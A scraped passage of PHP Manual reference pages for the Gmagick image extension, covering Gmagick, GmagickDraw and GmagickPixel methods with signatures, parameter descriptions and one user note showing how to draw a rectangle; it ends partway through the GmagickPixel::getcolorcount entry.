(PECL gmagick >= Unknown)

Gmagick::setsize — Sets the size of the Gmagick object

说明

public Gmagick::setsize(int $columns, int $rows): Gmagick

Sets the size of the Gmagick object. Set it before you read a raw image format such as Gmagick::COLORSPACE_RGB, Gmagick::COLORSPACE_GRAY, or Gmagick::COLORSPACE_CMYK.

参数

columns

The width in pixels.

rows

The height in pixels.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Creating a parallelogram

  • ? Gmagick::setsize
  • Gmagick::solarizeimage ?
  • PHP Manual
  • Gmagick
  • Creating a parallelogram

Gmagick::shearimage

(PECL gmagick >= Unknown)

Gmagick::shearimage — Creating a parallelogram

说明

public Gmagick::shearimage(mixed $color, float $xShear, float $yShear): Gmagick

Slides one edge of an image along the X or Y axis, creating a parallelogram. An X direction shear slides an edge along the X axis, while a Y direction shear slides an edge along the Y axis. The amount of the shear is controlled by a shear angle. For X direction shears, x_shear is measured relative to the Y axis, and similarly, for Y direction shears y_shear is measured relative to the X axis. Empty triangles left over from shearing the image are filled with the background color.

参数

color

The background pixel wand.

xShear

The number of degrees to shear the image.

yShear

The number of degrees to shear the image.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Applies a solarizing effect to the image

  • ? Gmagick::shearimage
  • Gmagick::spreadimage ?
  • PHP Manual
  • Gmagick
  • Applies a solarizing effect to the image

Gmagick::solarizeimage

(PECL gmagick >= Unknown)

Gmagick::solarizeimage — Applies a solarizing effect to the image

说明

public Gmagick::solarizeimage(int $threshold): Gmagick

Applies a special effect to the image, similar to the effect achieved in a photo darkroom by selectively exposing areas of photo sensitive paper to light. Threshold ranges from 0 to QuantumRange and is a measure of the extent of the solarization.

参数

threshold

Define the extent of the solarization.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Randomly displaces each pixel in a block

  • ? Gmagick::solarizeimage
  • Gmagick::stripimage ?
  • PHP Manual
  • Gmagick
  • Randomly displaces each pixel in a block

Gmagick::spreadimage

(PECL gmagick >= Unknown)

Gmagick::spreadimage — Randomly displaces each pixel in a block

说明

public Gmagick::spreadimage(float $radius): Gmagick

Special effects method that randomly displaces each pixel in a block defined by the radius parameter.

参数

radius

Choose a random pixel in a neighborhood of this extent.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Strips an image of all profiles and comments

  • ? Gmagick::spreadimage
  • Gmagick::swirlimage ?
  • PHP Manual
  • Gmagick
  • Strips an image of all profiles and comments

Gmagick::stripimage

(PECL gmagick >= Unknown)

Gmagick::stripimage — Strips an image of all profiles and comments

说明

public Gmagick::stripimage(): Gmagick

Strips an image of all profiles and comments.

参数

此函数没有参数。

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Swirls the pixels about the center of the image

  • ? Gmagick::stripimage
  • Gmagick::thumbnailimage ?
  • PHP Manual
  • Gmagick
  • Swirls the pixels about the center of the image

Gmagick::swirlimage

(PECL gmagick >= Unknown)

Gmagick::swirlimage — Swirls the pixels about the center of the image

说明

public Gmagick::swirlimage(float $degrees): Gmagick

Swirls the pixels about the center of the image, where degrees indicates the sweep of the arc through which each pixel is moved. You get a more dramatic effect as the degrees move from 1 to 360.

参数

degrees

Define the tightness of the swirling effect.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


Changes the size of an image

  • ? Gmagick::swirlimage
  • Gmagick::trimimage ?
  • PHP Manual
  • Gmagick
  • Changes the size of an image

Gmagick::thumbnailimage

(PECL gmagick >= Unknown)

Gmagick::thumbnailimage — Changes the size of an image

说明

public Gmagick::thumbnailimage(int $width, int $height, bool $fit = false): Gmagick

Changes the size of an image to the given dimensions and removes any associated profiles. The goal is to produce small low cost thumbnail images suited for display on the Web. If true is given as a third parameter then columns and rows parameters are used as maximums for each side. Both sides will be scaled down until the match or are smaller than the parameter given for the side.

参数

width

Image width.

height

Image height.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

isius 17-Jun-2014 03:21
It's not mentioned, but this function removes all profiles, etcetera from the image.


Remove edges from the image

  • ? Gmagick::thumbnailimage
  • Gmagick::write ?
  • PHP Manual
  • Gmagick
  • Remove edges from the image

Gmagick::trimimage

(PECL gmagick >= Unknown)

Gmagick::trimimage — Remove edges from the image

说明

public Gmagick::trimimage(float $fuzz): Gmagick

Remove edges that are the background color from the image.

参数

fuzz

By default target must match a particular pixel color exactly. However, in many cases two colors may differ by a small amount. The fuzz member of image defines how much tolerance is acceptable to consider two colors as the same. This parameter represents the variation on the quantum range.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


别名 Gmagick::writeimage

  • ? Gmagick::trimimage
  • Gmagick::writeimage ?
  • PHP Manual
  • Gmagick
  • 别名 Gmagick::writeimage

Gmagick::write

(PECL gmagick >= Unknown)

Gmagick::write — 别名 Gmagick::writeimage()

说明

此方法是该方法的别名： Gmagick::writeimage().

User Contributed Notes

There are no user contributed notes for this page.


Writes an image to the specified filename

  • ? Gmagick::write
  • GmagickDraw ?
  • PHP Manual
  • Gmagick
  • Writes an image to the specified filename

Gmagick::writeimage

(PECL gmagick >= Unknown)

Gmagick::writeimage — Writes an image to the specified filename

说明

public Gmagick::writeimage(string $filename, bool $all_frames = false): Gmagick

Writes an image to the specified filename. If the filename parameter is null, the image is written to the filename set by Gmagick::readimage() or Gmagick::setimagefilename().

参数

filename

The image filename.

返回值

The Gmagick object.

错误／异常

错误时抛出 GmagickException。

User Contributed Notes

There are no user contributed notes for this page.


The GmagickDraw class

(PECL gmagick >= Unknown)

简介

类摘要

class GmagickDraw {
/* 方法 */
public annotate(float $x, float $y, string $text): GmagickDraw
public arc(
float $sx,
float $sy,
float $ex,
float $ey,
float $sd,
float $ed
): GmagickDraw
public bezier(array $coordinate_array): GmagickDraw
public ellipse(
float $ox,
float $oy,
float $rx,
float $ry,
float $start,
float $end
): GmagickDraw
public getfillcolor(): GmagickPixel
public getfillopacity(): float
public getfont(): mixed
public getfontsize(): float
public getfontstyle(): int
public getfontweight(): int
public getstrokecolor(): GmagickPixel
public getstrokeopacity(): float
public getstrokewidth(): float
public gettextdecoration(): int
public gettextencoding(): mixed
public line(
float $sx,
float $sy,
float $ex,
float $ey
): GmagickDraw
public point(float $x, float $y): GmagickDraw
public polygon(array $coordinates): GmagickDraw
public polyline(array $coordinate_array): GmagickDraw
public rectangle(
float $x1,
float $y1,
float $x2,
float $y2
): GmagickDraw
public rotate(float $degrees): GmagickDraw
public roundrectangle(
float $x1,
float $y1,
float $x2,
float $y2,
float $rx,
float $ry
): GmagickDraw
public scale(float $x, float $y): GmagickDraw
public setfillcolor(mixed $color): GmagickDraw
public setfillopacity(float $fill_opacity): GmagickDraw
public setfont(string $font): GmagickDraw
public setfontsize(float $pointsize): GmagickDraw
public setfontstyle(int $style): GmagickDraw
public setfontweight(int $weight): GmagickDraw
public setstrokecolor(mixed $color): GmagickDraw
public setstrokeopacity(float $stroke_opacity): GmagickDraw
public setstrokewidth(float $width): GmagickDraw
public settextdecoration(int $decoration): GmagickDraw
public settextencoding(string $encoding): GmagickDraw
}

Table of Contents

  • GmagickDraw::annotate — Draws text on the image
  • GmagickDraw::arc — Draws an arc
  • GmagickDraw::bezier — Draws a bezier curve
  • GmagickDraw::ellipse — Draws an ellipse on the image
  • GmagickDraw::getfillcolor — Returns the fill color
  • GmagickDraw::getfillopacity — Returns the opacity used when drawing
  • GmagickDraw::getfont — Returns the font
  • GmagickDraw::getfontsize — Returns the font pointsize
  • GmagickDraw::getfontstyle — Returns the font style
  • GmagickDraw::getfontweight — Returns the font weight
  • GmagickDraw::getstrokecolor — Returns the color used for stroking object outlines
  • GmagickDraw::getstrokeopacity — Returns the opacity of stroked object outlines
  • GmagickDraw::getstrokewidth — Returns the width of the stroke used to draw object outlines
  • GmagickDraw::gettextdecoration — Returns the text decoration
  • GmagickDraw::gettextencoding — Returns the code set used for text annotations
  • GmagickDraw::line — Draws a line
  • GmagickDraw::point — Draws a point
  • GmagickDraw::polygon — Draws a polygon
  • GmagickDraw::polyline — Draws a polyline
  • GmagickDraw::rectangle — Draws a rectangle
  • GmagickDraw::rotate — Applies the specified rotation to the current coordinate space
  • GmagickDraw::roundrectangle — Draws a rounded rectangle
  • GmagickDraw::scale — Adjusts the scaling factor
  • GmagickDraw::setfillcolor — Sets the fill color to be used for drawing filled objects
  • GmagickDraw::setfillopacity — The setfillopacity purpose
  • GmagickDraw::setfont — Sets the fully-specified font to use when annotating with text
  • GmagickDraw::setfontsize — Sets the font pointsize to use when annotating with text
  • GmagickDraw::setfontstyle — Sets the font style to use when annotating with text
  • GmagickDraw::setfontweight — Sets the font weight
  • GmagickDraw::setstrokecolor — Sets the color used for stroking object outlines
  • GmagickDraw::setstrokeopacity — Specifies the opacity of stroked object outlines
  • GmagickDraw::setstrokewidth — Sets the width of the stroke used to draw object outlines
  • GmagickDraw::settextdecoration — Specifies a decoration
  • GmagickDraw::settextencoding — Specifies the text code set

User Contributed Notes

There are no user contributed notes for this page.


Draws text on the image

  • ? GmagickDraw
  • GmagickDraw::arc ?
  • PHP Manual
  • GmagickDraw
  • Draws text on the image

GmagickDraw::annotate

(PECL gmagick >= Unknown)

GmagickDraw::annotate — Draws text on the image

说明

public GmagickDraw::annotate(float $x, float $y, string $text): GmagickDraw

Draws text on the image.

参数

x

x ordinate to left of text

y

y ordinate to text baseline

text

text to draw

返回值

The GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Draws an arc

  • ? GmagickDraw::annotate
  • GmagickDraw::bezier ?
  • PHP Manual
  • GmagickDraw
  • Draws an arc

GmagickDraw::arc

(PECL gmagick >= Unknown)

GmagickDraw::arc — Draws an arc

说明

public GmagickDraw::arc(
float $sx,
float $sy,
float $ex,
float $ey,
float $sd,
float $ed
): GmagickDraw

Draws an arc falling within a specified bounding rectangle on the image.

参数

sx

starting x ordinate of bounding rectangle

sy

starting y ordinate of bounding rectangle

ex

ending x ordinate of bounding rectangle

ey

ending y ordinate of bounding rectangle

sd

starting degrees of rotation

ed

ending degrees of rotation

返回值

The GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Draws a bezier curve

  • ? GmagickDraw::arc
  • GmagickDraw::ellipse ?
  • PHP Manual
  • GmagickDraw
  • Draws a bezier curve

GmagickDraw::bezier

(PECL gmagick >= Unknown)

GmagickDraw::bezier — Draws a bezier curve

说明

public GmagickDraw::bezier(array $coordinate_array): GmagickDraw

Draws a bezier curve through a set of points on the image.

参数

coordinate_array

Coordinates array

返回值

The GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Draws an ellipse on the image

  • ? GmagickDraw::bezier
  • GmagickDraw::getfillcolor ?
  • PHP Manual
  • GmagickDraw
  • Draws an ellipse on the image

GmagickDraw::ellipse

(PECL gmagick >= Unknown)

GmagickDraw::ellipse — Draws an ellipse on the image

说明

public GmagickDraw::ellipse(
float $ox,
float $oy,
float $rx,
float $ry,
float $start,
float $end
): GmagickDraw

Draws an ellipse on the image.

参数

ox

origin x ordinate

oy

origin y ordinate

rx

radius in x

ry

radius in y

start

starting rotation in degrees

end

ending rotation in degrees

返回值

The GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Returns the fill color

  • ? GmagickDraw::ellipse
  • GmagickDraw::getfillopacity ?
  • PHP Manual
  • GmagickDraw
  • Returns the fill color

GmagickDraw::getfillcolor

(PECL gmagick >= Unknown)

GmagickDraw::getfillcolor — Returns the fill color

说明

public GmagickDraw::getfillcolor(): GmagickPixel

Returns the fill color used for drawing filled objects.

参数

此函数没有参数。

返回值

The GmagickPixel fill color used for drawing filled objects.

User Contributed Notes

There are no user contributed notes for this page.


Returns the opacity used when drawing

  • ? GmagickDraw::getfillcolor
  • GmagickDraw::getfont ?
  • PHP Manual
  • GmagickDraw
  • Returns the opacity used when drawing

GmagickDraw::getfillopacity

(PECL gmagick >= Unknown)

GmagickDraw::getfillopacity — Returns the opacity used when drawing

说明

public GmagickDraw::getfillopacity(): float

Returns the opacity used when drawing

参数

此函数没有参数。

返回值

Returns the opacity used when drawing using the fill color or fill texture. Fully opaque is 1.0.

User Contributed Notes

There are no user contributed notes for this page.


Returns the font

  • ? GmagickDraw::getfillopacity
  • GmagickDraw::getfontsize ?
  • PHP Manual
  • GmagickDraw
  • Returns the font

GmagickDraw::getfont

(PECL gmagick >= Unknown)

GmagickDraw::getfont — Returns the font

说明

public GmagickDraw::getfont(): mixed

Returns a string specifying the font used when annotating with text.

参数

此函数没有参数。

返回值

Returns a string on success and false if no font is set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the font pointsize

  • ? GmagickDraw::getfont
  • GmagickDraw::getfontstyle ?
  • PHP Manual
  • GmagickDraw
  • Returns the font pointsize

GmagickDraw::getfontsize

(PECL gmagick >= Unknown)

GmagickDraw::getfontsize — Returns the font pointsize

说明

public GmagickDraw::getfontsize(): float

Returns the font pointsize used when annotating with text.

参数

此函数没有参数。

返回值

Returns the font size associated with the current GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Returns the font style

  • ? GmagickDraw::getfontsize
  • GmagickDraw::getfontweight ?
  • PHP Manual
  • GmagickDraw
  • Returns the font style

GmagickDraw::getfontstyle

(PECL gmagick >= Unknown)

GmagickDraw::getfontstyle — Returns the font style

说明

public GmagickDraw::getfontstyle(): int

Returns the font style used when annotating with text.

参数

此函数没有参数。

返回值

Returns the font style constant (STYLE_) associated with the GmagickDraw object or 0 if no style is set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the font weight

  • ? GmagickDraw::getfontstyle
  • GmagickDraw::getstrokecolor ?
  • PHP Manual
  • GmagickDraw
  • Returns the font weight

GmagickDraw::getfontweight

(PECL gmagick >= Unknown)

GmagickDraw::getfontweight — Returns the font weight

说明

public GmagickDraw::getfontweight(): int

Returns the font weight used when annotating with text.

参数

此函数没有参数。

返回值

Returns an int on success and 0 if no weight is set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the color used for stroking object outlines

  • ? GmagickDraw::getfontweight
  • GmagickDraw::getstrokeopacity ?
  • PHP Manual
  • GmagickDraw
  • Returns the color used for stroking object outlines

GmagickDraw::getstrokecolor

(PECL gmagick >= Unknown)

GmagickDraw::getstrokecolor — Returns the color used for stroking object outlines

说明

public GmagickDraw::getstrokecolor(): GmagickPixel

Returns the color used for stroking object outlines.

参数

此函数没有参数。

返回值

Returns an GmagickPixel object which describes the color.

User Contributed Notes

There are no user contributed notes for this page.


Returns the opacity of stroked object outlines

  • ? GmagickDraw::getstrokecolor
  • GmagickDraw::getstrokewidth ?
  • PHP Manual
  • GmagickDraw
  • Returns the opacity of stroked object outlines

GmagickDraw::getstrokeopacity

(PECL gmagick >= Unknown)

GmagickDraw::getstrokeopacity — Returns the opacity of stroked object outlines

说明

public GmagickDraw::getstrokeopacity(): float

Returns the opacity of stroked object outlines.

参数

此函数没有参数。

返回值

Returns a float describing the opacity.

User Contributed Notes

There are no user contributed notes for this page.


Returns the width of the stroke used to draw object outlines

  • ? GmagickDraw::getstrokeopacity
  • GmagickDraw::gettextdecoration ?
  • PHP Manual
  • GmagickDraw
  • Returns the width of the stroke used to draw object outlines

GmagickDraw::getstrokewidth

(PECL gmagick >= Unknown)

GmagickDraw::getstrokewidth — Returns the width of the stroke used to draw object outlines

说明

public GmagickDraw::getstrokewidth(): float

Returns the width of the stroke used to draw object outlines.

参数

此函数没有参数。

返回值

Returns a float describing the stroke width.

User Contributed Notes

There are no user contributed notes for this page.


Returns the text decoration

  • ? GmagickDraw::getstrokewidth
  • GmagickDraw::gettextencoding ?
  • PHP Manual
  • GmagickDraw
  • Returns the text decoration

GmagickDraw::gettextdecoration

(PECL gmagick >= Unknown)

GmagickDraw::gettextdecoration — Returns the text decoration

说明

public GmagickDraw::gettextdecoration(): int

Returns the decoration applied when annotating with text.

参数

此函数没有参数。

返回值

Returns one of the DECORATION_ constants and 0 if no decoration is set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the code set used for text annotations

  • ? GmagickDraw::gettextdecoration
  • GmagickDraw::line ?
  • PHP Manual
  • GmagickDraw
  • Returns the code set used for text annotations

GmagickDraw::gettextencoding

(PECL gmagick >= Unknown)

GmagickDraw::gettextencoding — Returns the code set used for text annotations

说明

public GmagickDraw::gettextencoding(): mixed

Returns a string which specifies the code set used for text annotations.

参数

此函数没有参数。

返回值

Returns a string specifying the code set or false if text encoding is not set.

User Contributed Notes

There are no user contributed notes for this page.


Draws a line

  • ? GmagickDraw::gettextencoding
  • GmagickDraw::point ?
  • PHP Manual
  • GmagickDraw
  • Draws a line

GmagickDraw::line

(PECL gmagick >= Unknown)

GmagickDraw::line — Draws a line

说明

public GmagickDraw::line(
float $sx,
float $sy,
float $ex,
float $ey
): GmagickDraw

Draws a line on the image using the current stroke color, stroke opacity, and stroke width.

参数

sx

starting x ordinate

sy

starting y ordinate

ex

ending x ordinate

ey

ending y ordinate

返回值

The GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Draws a point

  • ? GmagickDraw::line
  • GmagickDraw::polygon ?
  • PHP Manual
  • GmagickDraw
  • Draws a point

GmagickDraw::point

(PECL gmagick >= Unknown)

GmagickDraw::point — Draws a point

说明

public GmagickDraw::point(float $x, float $y): GmagickDraw

Draws a point using the current stroke color and stroke thickness at the specified coordinates.

参数

x

target x coordinate

y

target y coordinate

返回值

The GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Draws a polygon

  • ? GmagickDraw::point
  • GmagickDraw::polyline ?
  • PHP Manual
  • GmagickDraw
  • Draws a polygon

GmagickDraw::polygon

(PECL gmagick >= Unknown)

GmagickDraw::polygon — Draws a polygon

说明

public GmagickDraw::polygon(array $coordinates): GmagickDraw

Draws a polygon using the current stroke, stroke width, and fill color or texture, using the specified array of coordinates.

参数

coordinates

coordinate array

返回值

The GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Draws a polyline

  • ? GmagickDraw::polygon
  • GmagickDraw::rectangle ?
  • PHP Manual
  • GmagickDraw
  • Draws a polyline

GmagickDraw::polyline

(PECL gmagick >= Unknown)

GmagickDraw::polyline — Draws a polyline

说明

public GmagickDraw::polyline(array $coordinate_array): GmagickDraw

Draws a polyline using the current stroke, stroke width, and fill color or texture, using the specified array of coordinates.

参数

coordinate_array

The array of coordinates

返回值

The GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Draws a rectangle

  • ? GmagickDraw::polyline
  • GmagickDraw::rotate ?
  • PHP Manual
  • GmagickDraw
  • Draws a rectangle

GmagickDraw::rectangle

(PECL gmagick >= Unknown)

GmagickDraw::rectangle — Draws a rectangle

说明

public GmagickDraw::rectangle(
float $x1,
float $y1,
float $x2,
float $y2
): GmagickDraw

Draws a rectangle given two coordinates and using the current stroke, stroke width, and fill settings.

参数

x1

x ordinate of first coordinate

y1

y ordinate of first coordinate

x2

x ordinate of second coordinate

y2

y ordinate of second coordinate

返回值

The GmagickDraw object.

User Contributed Notes

vitalick dot pugach at gmail dot com 12-Jan-2016 12:11
Создаем белый прямоугольник внизу изображения. [Create a white rectangle at the bottom of the image.]
$image = "http://localhost/files/upload/399000/399357/cmsimage8KEGF3.jpg";

list($width, $height) = getimagesize($image);

$gmagicDraw = new GmagickDraw();
$gmagicDraw->setfillcolor("#fff");
$gmagicDraw->rectangle(0, $height - $height * 0.02, $width, $height);

$gImage = new Gmagick();
$gImage->readImage($image);
$gImage->drawimage($gmagicDraw);
$gImage->writeimage(DOCROOT . "files/temp/img". $someId);


Applies the specified rotation to the current coordinate space

  • ? GmagickDraw::rectangle
  • GmagickDraw::roundrectangle ?
  • PHP Manual
  • GmagickDraw
  • Applies the specified rotation to the current coordinate space

GmagickDraw::rotate

(PECL gmagick >= Unknown)

GmagickDraw::rotate — Applies the specified rotation to the current coordinate space

说明

public GmagickDraw::rotate(float $degrees): GmagickDraw

Applies the specified rotation to the current coordinate space.

参数

degrees

degrees of rotation

返回值

The GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Draws a rounded rectangle

  • ? GmagickDraw::rotate
  • GmagickDraw::scale ?
  • PHP Manual
  • GmagickDraw
  • Draws a rounded rectangle

GmagickDraw::roundrectangle

(PECL gmagick >= Unknown)

GmagickDraw::roundrectangle — Draws a rounded rectangle

说明

public GmagickDraw::roundrectangle(
float $x1,
float $y1,
float $x2,
float $y2,
float $rx,
float $ry
): GmagickDraw

Draws a rounded rectangle given two coordinates, x and y corner radiuses and using the current stroke, stroke width, and fill settings.

参数

x1

x ordinate of first coordinate

y1

y ordinate of first coordinate

x2

x ordinate of second coordinate

y2

y ordinate of second coordinate

rx

radius of corner in horizontal direction

ry

radius of corner in vertical direction

返回值

The GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Adjusts the scaling factor

  • ? GmagickDraw::roundrectangle
  • GmagickDraw::setfillcolor ?
  • PHP Manual
  • GmagickDraw
  • Adjusts the scaling factor

GmagickDraw::scale

(PECL gmagick >= Unknown)

GmagickDraw::scale — Adjusts the scaling factor

说明

public GmagickDraw::scale(float $x, float $y): GmagickDraw

Adjusts the scaling factor to apply in the horizontal and vertical directions to the current coordinate space.

参数

x

horizontal scale factor

y

vertical scale factor

返回值

The GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Sets the fill color to be used for drawing filled objects

  • ? GmagickDraw::scale
  • GmagickDraw::setfillopacity ?
  • PHP Manual
  • GmagickDraw
  • Sets the fill color to be used for drawing filled objects

GmagickDraw::setfillcolor

(PECL gmagick >= Unknown)

GmagickDraw::setfillcolor — Sets the fill color to be used for drawing filled objects

说明

public GmagickDraw::setfillcolor(mixed $color): GmagickDraw

Sets the fill color to be used for drawing filled objects.

参数

color

GmagickPixel or string indicating color to use for filling.

返回值

The GmagickDraw object on success.

User Contributed Notes

There are no user contributed notes for this page.


The setfillopacity purpose

  • ? GmagickDraw::setfillcolor
  • GmagickDraw::setfont ?
  • PHP Manual
  • GmagickDraw
  • The setfillopacity purpose

GmagickDraw::setfillopacity

(PECL gmagick >= Unknown)

GmagickDraw::setfillopacity — The setfillopacity purpose

说明

public GmagickDraw::setfillopacity(float $fill_opacity): GmagickDraw

Sets the opacity to use when drawing using the fill color or fill texture. Setting it to 1.0 will make fill full opaque.

参数

fill_opacity

Fill opacity

返回值

The GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Sets the fully-specified font to use when annotating with text

  • ? GmagickDraw::setfillopacity
  • GmagickDraw::setfontsize ?
  • PHP Manual
  • GmagickDraw
  • Sets the fully-specified font to use when annotating with text

GmagickDraw::setfont

(PECL gmagick >= Unknown)

GmagickDraw::setfont — Sets the fully-specified font to use when annotating with text

说明

public GmagickDraw::setfont(string $font): GmagickDraw

Sets the fully-specified font to use when annotating with text

参数

font

font name

返回值

The GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Sets the font pointsize to use when annotating with text

  • ? GmagickDraw::setfont
  • GmagickDraw::setfontstyle ?
  • PHP Manual
  • GmagickDraw
  • Sets the font pointsize to use when annotating with text

GmagickDraw::setfontsize

(PECL gmagick >= Unknown)

GmagickDraw::setfontsize — Sets the font pointsize to use when annotating with text

说明

public GmagickDraw::setfontsize(float $pointsize): GmagickDraw

Sets the font pointsize to use when annotating with text.

参数

pointsize

Text pointsize

返回值

The GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Sets the font style to use when annotating with text

  • ? GmagickDraw::setfontsize
  • GmagickDraw::setfontweight ?
  • PHP Manual
  • GmagickDraw
  • Sets the font style to use when annotating with text

GmagickDraw::setfontstyle

(PECL gmagick >= Unknown)

GmagickDraw::setfontstyle — Sets the font style to use when annotating with text

说明

public GmagickDraw::setfontstyle(int $style): GmagickDraw

Sets the font style to use when annotating with text. The AnyStyle enumeration acts as a wild-card "don't care" option.

参数

style

Font style (NormalStyle, ItalicStyle, ObliqueStyle, AnyStyle)

返回值

The GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Sets the font weight

  • ? GmagickDraw::setfontstyle
  • GmagickDraw::setstrokecolor ?
  • PHP Manual
  • GmagickDraw
  • Sets the font weight

GmagickDraw::setfontweight

(PECL gmagick >= Unknown)

GmagickDraw::setfontweight — Sets the font weight

说明

public GmagickDraw::setfontweight(int $weight): GmagickDraw

Sets the font weight to use when annotating with text.

参数

weight

Font weight (valid range 100-900)

返回值

The GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Sets the color used for stroking object outlines

  • ? GmagickDraw::setfontweight
  • GmagickDraw::setstrokeopacity ?
  • PHP Manual
  • GmagickDraw
  • Sets the color used for stroking object outlines

GmagickDraw::setstrokecolor

(PECL gmagick >= Unknown)

GmagickDraw::setstrokecolor — Sets the color used for stroking object outlines

说明

public GmagickDraw::setstrokecolor(mixed $color): GmagickDraw

Sets the color used for stroking object outlines.

参数

color

GmagickPixel or string representing the color for the stroke.

返回值

The GmagickDraw object on success.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the opacity of stroked object outlines

  • ? GmagickDraw::setstrokecolor
  • GmagickDraw::setstrokewidth ?
  • PHP Manual
  • GmagickDraw
  • Specifies the opacity of stroked object outlines

GmagickDraw::setstrokeopacity

(PECL gmagick >= Unknown)

GmagickDraw::setstrokeopacity — Specifies the opacity of stroked object outlines

说明

public GmagickDraw::setstrokeopacity(float $stroke_opacity): GmagickDraw

Specifies the opacity of stroked object outlines.

参数

stroke_opacity

Stroke opacity. The value 1.0 is opaque.

返回值

The GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Sets the width of the stroke used to draw object outlines

  • ? GmagickDraw::setstrokeopacity
  • GmagickDraw::settextdecoration ?
  • PHP Manual
  • GmagickDraw
  • Sets the width of the stroke used to draw object outlines

GmagickDraw::setstrokewidth

(PECL gmagick >= Unknown)

GmagickDraw::setstrokewidth — Sets the width of the stroke used to draw object outlines

说明

public GmagickDraw::setstrokewidth(float $width): GmagickDraw

Sets the width of the stroke used to draw object outlines

参数

width

Stroke width

返回值

The GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Specifies a decoration

  • ? GmagickDraw::setstrokewidth
  • GmagickDraw::settextencoding ?
  • PHP Manual
  • GmagickDraw
  • Specifies a decoration

GmagickDraw::settextdecoration

(PECL gmagick >= Unknown)

GmagickDraw::settextdecoration — Specifies a decoration

说明

public GmagickDraw::settextdecoration(int $decoration): GmagickDraw

Specifies a decoration to be applied when annotating with text.

参数

int

Text decoration. One of NoDecoration, UnderlineDecoration, OverlineDecoration, or LineThroughDecoration

返回值

The GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the text code set

  • ? GmagickDraw::settextdecoration
  • GmagickPixel ?
  • PHP Manual
  • GmagickDraw
  • Specifies the text code set

GmagickDraw::settextencoding

(PECL gmagick >= Unknown)

GmagickDraw::settextencoding — Specifies the text code set

说明

public GmagickDraw::settextencoding(string $encoding): GmagickDraw

Specifies the code set to use for text annotations. The only character encoding which may be specified at this time is "UTF-8" for representing Unicode as a sequence of bytes. Specify an empty string to set text encoding to the system's default. Successful text annotation using Unicode may require fonts designed to support Unicode.

参数

encoding

Character string specifying text encoding

返回值

The GmagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


The GmagickPixel class

(PECL gmagick >= Unknown)

简介

类摘要

class GmagickPixel {
/* 方法 */
public __construct(string $color = ?)
public getcolor(bool $as_array = false, bool $normalize_array = false): mixed
public getcolorcount(): int
public getcolorvalue(int $color): float
public setcolor(string $color): GmagickPixel
public setcolorvalue(int $color, float $value): GmagickPixel
}

Table of Contents

  • GmagickPixel::__construct — The GmagickPixel constructor
  • GmagickPixel::getcolor — Returns the color
  • GmagickPixel::getcolorcount — Returns the color count associated with this color
  • GmagickPixel::getcolorvalue — Gets the normalized value of the provided color channel
  • GmagickPixel::setcolor — Sets the color
  • GmagickPixel::setcolorvalue — Sets the normalized value of one of the channels

User Contributed Notes

There are no user contributed notes for this page.


The GmagickPixel constructor

  • ? GmagickPixel
  • GmagickPixel::getcolor ?
  • PHP Manual
  • GmagickPixel
  • The GmagickPixel constructor

GmagickPixel::__construct

(PECL gmagick >= Unknown)

GmagickPixel::__construct — The GmagickPixel constructor

说明

public GmagickPixel::__construct(string $color = ?)

Constructs an GmagickPixel object. If a color is specified, the object is constructed and then initialised with that color before being returned.

参数

color

The optional color string to use as the initial value of this object.

User Contributed Notes

There are no user contributed notes for this page.


Returns the color

  • ? GmagickPixel::__construct
  • GmagickPixel::getcolorcount ?
  • PHP Manual
  • GmagickPixel
  • Returns the color

GmagickPixel::getcolor

(PECL gmagick >= Unknown)

GmagickPixel::getcolor — Returns the color

说明

public GmagickPixel::getcolor(bool $as_array = false, bool $normalize_array = false): mixed

Returns the color described by the GmagickPixel object, as a string or an array. If the color has an opacity channel set, this is provided as a fourth value in the list.

参数

as_array

true to indicate return of array instead of string.

normalize_array

true to normalize the color values.

返回值

A string or an array of channel values, each normalized if true is given as normalize_array. Throws GmagickPixelException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the color count associated with this color

  • ? GmagickPixel::getcolor
  • GmagickPixel::getcolorvalue ?
  • PHP Manual
  • GmagickPixel
  • Returns the color count associated with this color

GmagickPixel::getcolorcount

(PECL gmagick >= Unknown)

GmagickPixel::getcolorcount — Returns the color count associated with this color

说明

public GmagickPixel::getcolorcount(): int

Returns the color count associated with this color.

参数

此函数没有参数。

返回值

